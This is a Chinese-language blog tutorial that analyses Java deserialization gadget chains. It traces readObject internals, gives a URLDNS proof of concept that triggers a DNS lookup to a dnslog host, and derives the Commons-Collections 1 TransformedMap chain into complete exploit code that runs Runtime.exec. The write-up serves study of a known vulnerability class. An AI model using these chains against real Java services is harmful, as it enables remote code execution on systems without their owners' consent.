0%

Java反序列化利用链补全计划

序言

温故而知新。

站在巨人们的肩膀上,总结Java反序列化漏洞利用链,会持续更新。

同步项目:Gadgets

写在最前面

Java反序列化RCE三要素:readobject反序列化利用点 + 利用链 + RCE触发点

审计maven仓库里面的jar包时,记得先拿到源码:

  • 点右上角download source
  • 下载pom.xml里面声明的依赖jars:mvn dependency:resolve -Dclassifier=sources
  • JD-GUI

readObject源码分析

梦开始的地方。

正常使用反序列化,就会执行java.io.ObjectInputStream类中的readObejct方法。

image-20210511172731640

重点分析readObject0方法,它是核心方法。跟进去看:

image-20210511173117069

这里最重要的是进行了对象类型的选择,根据不同类型执行操作。

这里会先执行readOrdinaryObject方法,unshared是false。

进去看看:

image-20210511174136473

看到点眉目了,readSerialData其实才是真正反序列化对象,进入readSerialData函数看看:

image-20210511192758582

到这里,可以理清整个过程的关键步骤了。

在readSerialData中比较关键的是这个判断条件:

image-20210511175925746

其中slotDesc.hasReadObjectMethod()获取的是readObjectMethod这个属性,如果反序列化的类没有重写readobject(),那么readObjectMethod这个属性就是空,如果这个类重写了readobject(),就会执行readObject()方法。

所以这也就是为什么,挖掘这类漏洞,上来第一件事就是要:找到哪些类有重写readObject()方法

2021.5.24更新

最近发现有个神奇的方法defaultReadObject

他的javadoc如下:

image-20210524155157492

前面写到:

读取非静态和非transient修饰的属性,并且只能被readObject方法调用

懵懵的,写个demo实验一下:

image-20210524155558480

image-20210524155522930

会输出:

1
Hello,world!

可以看到,Example类自己实现了readObject方法,并且在它内部还有一个defaultReadObject方法。

我们把它删掉会怎样?

答:这次输出是null,也就是s属性没有被序列化出来

所以defaultReadObject的作用就是执行流中对象默认的readObject方法,将对象的field反序列化出来。

还发现一个细节,为什么defaultReadObject的参数是一个ObjectInputStream参数?

看下图,是因为如果一个类自己实现了readObject方法,内部机制会invoke这个方法,参数就是当前流。

image-20210524160113446

一句话总结,defaultReadObject方法一般用于自己实现的readObject方法中,需要一个流对象作为参数。

用来执行流中对象默认的readObject方法,将对象反序列化出来。

如果我们自定义序列化过程仅仅调用了这个方法而没有任何额外的操作,这其实和默认的序列化过程没任何区别。

多说几句:

有了defaultReadObject方法之后,就可以用户自主控制反序列化过程了。

比如说一个字段是加密的,我们可以在readObject方法中先调用defaultReadObject方法来将其他字段来正常反序列化出来,再在最后执行加密字段的追加append。

URLDNS

readobject反序列化利用点 + DNS查询,主要用来确认反序列化漏洞利用点的存在。

最适合新手分析的反序列化链。ysoserial的一部分。

只依赖原生类,没有jdk版本限制。

dnslog平台可以选择:DNSLog.cnceye,我选择了DNSLog。

漏洞复现

jdk版本:jdk8u162,网上PoC很多,这里用lalajun师傅的为例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class URLDNS {
public static void main(String[] args) throws Exception {
//0x01.生成payload
//设置一个hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//设置我们可以接受DNS查询的地址
URL url = new URL("http://oh6pfs.dnslog.cn");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);

//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
//1. 设置url的hashCode字段为0xdeadbeef(随意的值)
f.set(url, 0xdeadbeef);
//2. 将url放入hashMap中,右边参数随便写
hashMap.put(url, "rmb122");
//修改url的hashCode字段为-1,为了触发DNS查询
f.set(url, -1);

//0x02.写入文件模拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
//0x03.读取文件,进行反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}

成功触发dns查询记录:

image-20210511165114468

漏洞分析

三要素:HashMap / URL / HashCode

大体流程:

  1. new一个HashMap对象,key-value对为URL-String类型,key设置为我们的dnslog的地址
  2. 暴力反射,将URL类的hashCode字段改为public,默认是private
  3. 将url对象的hashCode字段随便改成一个值
  4. 将url对象放入HashMap中作为key,value也随便写一个
  5. 将f对象的hashCode字段改为-1,触发漏洞

最终的payload结构是 一个HashMap,里面包含了 一个修改了hashCode为-1的URL类对象。

由于HashMap类自己有实现readObject方法,那么在反序列化过程中就会执行他自己的readObject。

搞懂HashMap

HashMap 可以看作是一个链表散列的数据结构 , 也就是数组和链表的结合体.

image-20210511193717145

对于主干来说,当要存放一个entry的时候,步骤如下:

  1. 计算key的hash:hash(k)
  2. 通过hash(k)映射到有限的数组a的位置i
  3. 在a[i]的位置存入value

自然就会想到,如果哈希冲突了怎么办?HashMap对于不同的元素,如果hash值相同,会采用链表指针的方式来挂在后面。

HashMap的主干是一个Entry数组,主干数组的长度一定是2的次幂。

Entry是HashMap的基本组成单元,每一个Entry包含一个key-value键值对。(其实所谓Map其实就是保存了两个对象之间的映射关系的一种集合)

看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//jdk7
transient Entry<K,V>[] table = (Entry<K,V>[]) EMPTY_TABLE;

//Entry是HashMap中的一个静态内部类。
static class Entry<K,V> implements Map.Entry<K,V> {
final K key;
V value;
Entry<K,V> next;//存储指向下一个Entry的引用,单链表结构
int hash;//对key进行hash运算后得到的值,存储在Entry中,避免重复计算

/**
* Creates new entry.
*/
Entry(int h, K k, V v, Entry<K,V> n) {
value = v;
next = n;
key = k;
hash = h;
}

看图:

image-20210511195908151

HashMap.readObject()

看源码(跳过一些初始化操作):

image-20210511201023679

putVal是向Map存放Entry的操作,在放入时会计算key的hash作为转化为数组位置i的映射依据。

DNS查询正是在计算URL类的对象的hash的过程中触发的,即hash(key)

看hash()方法源码:

image-20210511201250404

不同对象的hash计算方法是在各自的类中实现的,如果传入的key是一个URL对象,这里key.hashCode()就会调用URL类中的hashCode方法:java.net.URL#hashCode。

java.net.URL#hashCode 源码:

image-20210511201521952

仔细看,用到了两个field:

transient URLStreamHandler handler; // handler是一个transient临时类型,它不会被反序列化(但之后会用到)

private int hashCode = -1; //hashCode是private类型,需要手动开放控制权才可以修改。

1
2
3
4
5
6
7
8
public synchronized int hashCode() {
//如果hashCode不为-1,直接返回hashCode的值
if (hashCode != -1)
return hashCode;
//如果hashCode为-1,直接计算handler的hashcode,并返回
hashCode = handler.hashCode(this);
return hashCode;
}

那就继续看handler所属的类:URLStreamHandler

image-20210511204935728

getHostAddress也是限制了IP地址不会解析:

image-20210511205231393

image-20210511231600583

这里面必须提一下上面的hostAddress参数,如果 Host 字段为一个域名 , 且我们之前解析过这个域名 , 那么程序会将解析后的 IP 地址缓存到 hostAddress 参数中 , 当我们再次请求时 , 由于 hostAddress 已有值 , 就不会走完剩下的 POP Chain 了。

继续跟,会到java.net.InetAddress#getAllByName()这个方法:

image-20210511232113101

进入getAllByName0:

image-20210511232345462

总结一下到目前为止可以利用的调用链

  1. HashMap.readObject() -> HashMap.hash()
  2. HashMap.hash() -> URL.hashCode()
  3. URL.hashCode() -> URLStreamHandler.hashCode()
  4. URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()
  5. URLStreamHandler.getHostAddress() -> InetAddress.getByName() -> … -> getAddressFromNameService()

漏洞利用

满足两个条件:

  1. 为了能走到URL.hashCode(),要保证map里面存放着一个Entry,这个Entry的key满足URL类型
  2. 为了能走到URLStreamHandler.hashCode(),需要hashCode这个field为-1,绕过if判断

往前翻PoC:

1
2
3
4
5
...
f.set(url, 0xdeadbeef);
hashMap.put(url, "rmb122");
f.set(url, -1);
...

为什么这里首先给url的hashCode属性先设置成一个值,put到map之后,再改成另一个值?

这里我们先做一件事,看一下之前提到的HashMap.readObject()方法:

image-20210512000356313

这里面的s其实是ObjectInputStream对象。既然key和value都是从s.readObejct()方法出来的(之后进行了cast强转),那我们先看一下对应的HashMap.writeObject方法:

image-20210512000617960

跟到internalWriteEntries方法:

image-20210512000702874

可以看到,分别对entry内部的key和value进行了writeObject,tab的值即HashMap中table的值,也就是横向数组。

想一下,如果你想向一个HashMap中存放一个entry,那么就要执行HashMap.put()方法:

再看一下HashMap的put方法:

image-20210511224336952

可以看到,这里用到了HashMap.hash()方法,如果这里面的key就是URL,那么后续利用链就能接上。

也就是说,仅仅一次put操作,就会触发一次DNS查询

1
2
3
4
5
6
7
public class DNSTest {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL(your_dns_url);
map.put(url,123); //此时就会产生一次dns查询
}
}

这里就可以回答之前的问题:

为什要改两次,因为我们要规避掉put操作产生的DNS查询。

之后再改回-1,是为了可以成功触发反序列化时候的漏洞。

也就是这里还有一条小链:

HashMap.put() -> HashMap.hash()

HashMap.hash() -> URL.hashCode()

触发DNS查询

ysoserial实现版本

十分优雅

image-20210512003551060

这里首先有一个SilentURLStreamHandler对象,跟进去看看:

image-20210512003709417

可以发现这个类其实就是继承URLStreamHandler类,并且把这两个方法改成了返回null,这样就规避了在生成payload的时候的那一次DNS查询,也就是我们之前看到的HashMap.put的那次操作。

这次put的时候,由于handler是SilentURLStreamHandler类,完全不会出发DNS解析,实在是妙。

Commons-Collections

“不是夸你们Oracle呢,CC链确实让我们没饿死”

这里主要是ysoserial已经有的cc1-7漏洞,以及记录一些其他师傅们发现的。

cc的背景可以去看之前的文章温习。

cc1

条件:

  • cc3.1~3.2.1

  • jdk 1.7(8u71之前都可以)

maven:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

预备知识:

  • 动态代理,一句话总结就是:动态代理直接调用接口的方法,无需实现类
  • 反射

主流两个版本:TransformedMap,LazyMap

TransformedMap版本

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CommonsCollections1_TransformedMap_Exploit {
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChian
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, outerMap);

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc1_transformedMap.ser")));
fout.writeObject(instance);

//2.服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc1_transformedMap.ser")));
//服务端反序列化,触发漏洞
fin.readObject();
}
}

其他小型触发:

1
2
3
4
...
Map map = new HashedMap();
Map transformedMap = TransformedMap.decorate(map,chainedTransformer,null);
map1.put(1,1);
1
2
3
4
5
6
7
8
9
10
11
...
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");

利用链寻找

这里我想从漏洞挖掘的角度去写,毕竟这是个老洞,我们更应该关注的是如何找到的。

还是那句话,上来找readObject复写点,非常多!只不过我们现在关注TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。

image-20210512104425592

翻看commons-collections的文档可以发现:

该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换(transform)方法,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

举个例子获得一个TransformedMap的实例,可以通过TransformedMap.decorate()方法:

1
Map tansformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

可以看到三个参数,map,keyTransformer,valueTransformer

翻译过来:当TransformedMap内的key或者value发生变化时,就会触发相应参数的Transformer的transform()方法。

其实这句话值得引起我们的怀疑,transform参数是否可控

索性去找Transformer类,发现是一个接口,只有一个transform方法,find implementation(option+cmd+B),一共14个:

image-20210512105022662

先看第一个,ChainedTransformer:

image-20210512113116168

这里的iTransformer属性是一个Transformer[]数组,并且发现在ChainTransformer的transform函数中,会依次对该数组里面的transformer依次进行transform方法(不同的Transformer实现类实现的transform不同,多态)。

而且这里有一个细节就是:

1
object = this.iTransformers[i].transform(object);

这条语句放在了一个循环里面。

这也就导致上一次tranform方法的结果返回值会作为下一次transform的参数,越来越有链的感觉了!

世界线展开

这时候我们可以寻找invoke函数的调用点。

其实这里我认为我们始终离不开找invoke这样的sink点环节,碰巧发现在InvokeTransformer有invoke方法的使用:

image-20210512105446730

image-20210512105544347

哦这熟悉的反射味道,血压拉满!

如果这里input是可控的,按逻辑走,会获得input的Class对象,下一步想获取method对象,但是发现有两个参数iMethodName和iParamTypes。

往前翻构造函数:

image-20210512110405704

InvokerTransformer类就是今天的主角,因为他有RCE触发点。

InvokerTransformer这部分我们先按下不表,接下来就要寻找哪些方法可以调用InvokerTransformer类呢?逃不开之前找到的14个Transformer,因为他们实现了Transformer这个接口,都现实了transform方法。

我们接下来要找transform方法在哪被调用了:

image-20210512114920825

看TransformedMap内部:

image-20210512115236996

只有这三处调用了transform方法。

前两个都是本类方法,但是第三个checkSetValue方法是一个抽象方法,属于AbstractInputCheckedMapDecorator的抽象方法,它一共有两个类实现,TransformedMap算一个:

image-20210512115852020

image-20210512120730684

查找checkSetValue方法在哪可以被调用,发现在内部类MapEntry的setValue方法中调用了:

image-20210512134704165

也就是说,只要一个类A继承了抽象类AbstractInputCheckedMapDecorator,那么A就会有内部类A.MapEntry,就可以A.MapEntry.setValue()执行方法。

我们的TransformedMap就是这样的一个A

寻找实现AbstractInputCheckedMapDecorator的类,一共有4个:

image-20210512195129400

正好TransformedMap算一个。所以它既是readObejct复写点又是执行链的起点

世界线收束

构造PoC

经典一句话,弹计算器:

1
Runtime.getRuntime().exec("open /Applications/Calculator.app");

反射写法:

1
2
Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "open /Applications/Calculator.app");

不清楚的可以看之前的博客

那现在要如何构造这句话呢?

首先上一部分我们发现了InvokerTransformer有invoke触发点,用反射来出发。

重要的是每个参数如何对应赋值,看InvokerTransformer的第二个构造方法:

image-20210512142534887

我们“一句话”到执行函数是exec,回去看看:

image-20210512142625801

exec的参数类型是String,所以InvokerTransformer构造函数的三个参数分别是:

  • methodName = “exec” => iMethodName
  • paramTypes = “new Class[]{String.class}” => iParamtypes
  • iArgs = “new String[]{“open /Applications/Calculator.app”}” => iArgs

所以尝试写一个demo1.0:

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
InvokerTransformer it = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"open /Applications/Calculator.app"}
);
//得到Runtime.getRuntime()实例input
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));

//为了能触发exec.invoke(input,"cmd"),需要执行transform方法
it.transform(input);
}

问题来了,不会有人可以写好一个input在代码中等你,所以input需要写进payload。

所以接下来我们要去找:哪些类可以把input塞进去

由于这里input依赖了反射,所以我们最好在jar包里找到一个invoke的复写点,直接全局搜invoke,发现只有InvokerTransformer自己。

所以这里我们需要将input拆开,为了依赖不同的组件

想法就是既然你ChainedTransformer的transform可以循环调用Transformer数组内的不同tranform方法,那么我们也去找若干个Transformer来将input分别承担。

首先我们感觉肯定是越简单越好,最好是直接出现一个Transformer可以直接返回一个Runtime.getRuntime()

这样第二步直接new InvokerTransformer()就可以了:

1
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"})

相当于:

1
Runtime.getRuntime().invoke(method(exec),"open /Applications/Calculator.app")

寻找Transformer的实现类14个:

image-20210512150641804

我们只想要一个Transformer帮我们承担Runtime.getRuntime()即可,其他最好什么都不做。

发现ConstantTransformer最合适:

image-20210512150729223

完全都是简单的传递。

所以这时候demo2.0出现了:

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[] {
//以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
// new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);//触发ChainedTransformer里面每一个人的transform

但是这版本仅仅在本地可以测试,因为Runtime类没有实现Serializable接口,所以无法传输。

所以我们就需要反序列化那一端机器的Runtime实例。

继续拆分:

1
2
3
4
5
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),//先得到Class对象,Class支持Serializable
new ConstantTransformer("getRuntime",new Class[]{},new Object[]{}),//得到getRuntime方法对象
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open /Applications/Calculator.app"})//将这个方法对象套在exec上
};

讲道理这样是可以的,但是实际上还是不行:

因为在InvokerTransformer的tranform中:

image-20210512153300247

上来先input.getClass了,别忘了我们给的东西是Runtime.class,那结果肯定是Class对象java.lang.Class。

在java.lang.Class中寻找getRuntime对象肯定是找不到的。

所以这时候需要换一个思路:先拿到梯子,这里面的梯子就是getMethod方法

目标语句:

1
2
目标语句
Class.forName("java.lang.Runtime").getMethod("getRuntime")
1
2
3
4
5
6
7
8
9
4步走
1.先获得getMethod的方法对象,这个方法在java.lang.Class中
Method gm = Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class })
2.拿到之后,需要把getRuntime函数取出来。因为getMethod方法的作用就是返回一个method对象,所以直接invoke就行
Method gr = gm.invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[]{});
3.准备用gm去把invoke引出来
Method i = gm.invoke(Class.forName("java.lang.reflect.Method"),"invoke")
4.组合到一起
i.invoke("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"})

晕的可以往下看:

失败版构造:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),//先获取Runtime实例
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }),
//还需要填充,调用getRuntime得到Runtime实例,第一个参数是获取的方法,这里先获取getMethod方法,第二个是参数列表,这个是getMethod方法的参数列表,第三个参数是invoke方法的参数列表,这里我们想拿到getRuntime方法,这部分在经过transform函数处理之后,返回的是getRuntime()这样的一个Method方法
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open /Applications/Calculator.app"})
//最后一轮是先获取exec方法,invoke方法的命令是“open /Applications/Calculator.app”
};

InvokerTransformer的参数包括(方法名a,a的参数类型,invoke的参数{对象,对象参数})

我们认为可以,但实际上还是不行,原因:

在第二步出来之后,object是getRuntime,是method对象,一个Method对象是不能调用exec()的

所以我们这里还需要invoke函数的参与

所以我们还需要再来一步得到invoke函数:

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),//先获取Runtime实例
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }),
//还需要填充,调用getRuntime得到Runtime实例,第一个参数是获取的方法,这里先获取getMethod方法,第二个是参数列表,这个是getMethod方法的参数列表,第三个参数是invoke方法的参数列表,这里我们想先反射出来getRuntime参数,这部分在经过transform函数处理之后,返回的是getRuntime()这样的一个方法。
new InvokerTransformer("invoke", new Class[]{String.class,Object[].class}, new Object[]{null,new Object[]{}})
//把invoke方法引出来,看好参数的类别,该占位占位
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"})
//最后一轮是先获取exec方法,invoke方法的命令是“open /Applications/Calculator.app”
};

这里重点记录一下invoke环节的debug过程:

1
2
3
4
//input=getRuntime这个Method对象
Class cls = input.getClass();//cls = java.lang.Method(getRuntime方法是Method类)
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method类中找到invoke方法,method=invoke方法
return method.invoke(input, this.iArgs); //调用invoke方法,input=getRuntime这个方法,传入自定义的参数

最后一步其实就是:

1
invoke.invoke(getRuntime(),new Object[]{null,new Object[]{}});

发现一个骚东西:

1
2
3
invoke.invoke(a,{b,c})
a.invoke(b,c)
b.a(c)

套用在最后一句上:

1
2
invoke.invoke(getRuntime(),null);
getRuntime().invoke(new Object[]{null,new Object[]{}})

这里为什么null可以呢?

是因为getRuntime函数是static的,根本不需要obj来hold。

image-20210513015209016

所以这里这两种写法都可以

1
2
new InvokerTransformer("invoke", new Class[]{String.class,Object[].class}, new Object[]{null,new Object[]{}})
new InvokerTransformer("invoke", new Class[]{String.class,Object[].class}, new Object[]{Class.forName("java.lang.Runtime"),new Object[]{}})

多说一句:

1
getRuntime().invoke(new Object[]{null,new Object[]{}})

这句话相当于:

1
2
getRuntime() 后面都是寂寞
getRuntime() => Runtime 实例

既然能返回Runtime实例,目标达成。

第四步debug:

1
2
3
4
//input=Runtime类实例
Class cls = input.getClass();//cls = java.lang.Runtime
Method method = cls.getMethod("exec", new Class[] {String.class}); //在Runtime类中找到exec方法,method=exec方法
return method.invoke(input, "open /Applications/Calculator.app"); //调用invoke方法
image-20210512161134367

所以目前demo3.0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[]{}}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open /Applications/Calculator.app"})
};
//将transformers数组存入ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
//触发
transformerChain.transform(null);
}

我们最想要的是,transform方法最好也要自动触发,所以发现了checkSetValue方法,它会自动调用transform方法。

checkSetValue方法属于每一个继承了AbstractInputCheckedMapDecorator的类,TransformedMap算一个。

所以接下来我们的目标就变成了如何让TransformedMap自动调用transform方法

我们的ChainedTransformer说到底就是一个Transformer,只要添加数据至map中就会自动调用tramsform,就会执行转换链执行payload。

这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值很明显后者是一个常规操作,极有可能被触发。

举个例子获得一个TransformedMap的实例,可以通过TransformedMap.decorate()方法:

1
Map tansformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

可以看到三个参数,map,keyTransformer,valueTransformer。

查看org.apache.commons.collections.map.TransformedMap#decorate源码:

image-20210512170116032

到这里,触发条件就是更改map的值(key或者value)即可。

寻找readObject复写点

感觉还是奇怪,需要服务端配合将反序列化内容反序列化为map,并对值进行修改。

如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了key-value修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。

在1.7中存在一个完美的复写点:sun.reflect.annotation.AnnotationInvocationHandler

关于AnnotationInvocationHandler类,这个类本身是被设计用来处理Java注解的。

看两处源码关键点:

image-20210512171701564

image-20210512172608629

补充

为什么要传入Target.class?

Target是Java提供的四个元注解之一(Target,Documented,Inherited)

1
var2 = AnnotationType.getInstance(this.type)

我们回来看AnnotationType.getInstance(this.type)对@Target这个注解的处理。var2=getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等。

1
var3 = var2.memberTypes();

var3就是var2的键值对类型,可以取值Ljava.lang.annotation.ElementType类型的值。

这里其实占了Java注解的语法糖的便宜,Java注解默认都是value = XXXX,相当于蹭了个谐音梗。

为什么一定要Map(“value”, “value”)?

因为在

1
Map var3 = var2.memberTypes();//var3 = {value:ElementType}

这就保证了在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Map var3 = var2.memberTypes();// var3 = {value:ElementType}
Iterator var4 = this.memberValues.entrySet().iterator(); // var4 是迭代器

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();//var5 = {value:value}
String var6 = (String)var5.getKey();// var6 = value
Class var7 = (Class)var3.get(var6); //ElementType
//从@Target的注解元素键值对{value:ElementType的键值对}中去寻找键名为key的值
//如果key的值不是value,那么这里就null,链就断掉了
if (var7 != null) {
//触发命令执行处
var5.setValue...
}
}
}

保证innerMap.put("value","xxxxxx")也是可以的,只要key的值为”value“就行。

su18师傅斧正

su18师傅纠正我,其实这里并不一定是Target.class。。。

比如这里换成另一种注解:Generated.class

image-20210719193602502

我们选最下面这个字段“comments”,那这个版本就是:

image-20210719193907555

debug跟一下:

image-20210719194130981

这里和之前一样,var3是map,var4是迭代器,我们的终极目标是执行setValue

var5就是entry,var6就是key(String类型),var7就是var3中var6对应的value,是String.class这个类对象。

var8是entry中的value,如果我们要执行setValue,就必须让var7.isInstance(var8)==false

也就是说:

var8不能是String类型,所以这里HashMap的value不能再是“value”了,比如可以改成3,int类型就是可以的。

最终版本PoC

最终版本PoC构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CommonsCollections1_TransformedMap_Exploit {
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChian
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, outerMap);

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc1_transformedMap.ser")));
fout.writeObject(instance);

//2.服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc1_transformedMap.ser")));
//服务端反序列化,触发漏洞
fin.readObject();
}
}

总结

挖掘流程:

  1. 找readObejct复写点,发现了TransformedMap实现了,进去看一看,留个心
  2. 阅读文档,发现TransformedMap机制是一旦该Map中的元素发生了变化,都会调用Transformer的transform方法
  3. 发现Transformer的transform就是个接口中的方法
  4. 依次查看Transformer的实现类,发现ChainedTransformer中的transform会成环调用自身Transformer数组中的Transformer
  5. [支线任务开启]寻找invoke调用2点,发现InvokerTransformer内部的transform方法符合反射调用,有可控潜力
  6. 为了符合exp的构造条件,发现ConstantTransformer可以参与
  7. 将一句话分别由多个Transformer来hold,形成了ChainedTransformer,为了让ChainedTransformer.transform可以自动化调用,下一步需要去找哪里用了transform方法
  8. 查看transform的调用,发现TransformedMap类中有checkSetValue方法调用了transform方法
  9. 同时发现checkSetValue是抽象类AbstractInputCheckedMapDecorator的方法,同时该类内部静态类MapEntry的setValue方法调用了checkSetValue方法
  10. 实现AbstractInputCheckedMapDecorator的类有四个,TransformedMap算一个。所以TransformedMap1既是readObject复写点,又是执行链的起点(更改map中的值)[支线任务结束]
  11. 如何来自动更改值,还是去找readObejct复写点,发现AnnotationInvocationHandler十分合适,既复写了readObject,又修改了map的值,可以包装到最外面
  12. 编写Exp

Exp利用流程

  1. AnnotationInvocationHandler#readObject函数会在反序列化中被执行,并且会触发TransformedMap$EntrySet的setValue赋值。
  2. EntrySet的构造函数是Set和AbstractInputCheckedMapDecorator类型。
  3. 由于TransformedMap继承了AbstractInputCheckedMapDecorator类,也就继承了AbstractInputCheckedMapDecorator内部的setValue方法。
  4. setValue就是AbstractInputCheckedMapDecorator.MapEntry#setValue,他的内部会调用checkSetValue方法。
  5. 这里面的map是TransformedMap,所以TransformedMap版本的checkSetValue会调用transform方法,这个transform会调用TransformedMap自身的ConstantTransformer数组,循环调用。这个ConstantTransformer是通过decorate函数将ConstantTransformer配置进去的,最终payload执行。

image-20210513192345876

这里值得细细地跟一下,TransformedMap并不是Map

this.memberValues = [TransformedMap outMap] = (<”value”,”value”>,chain)

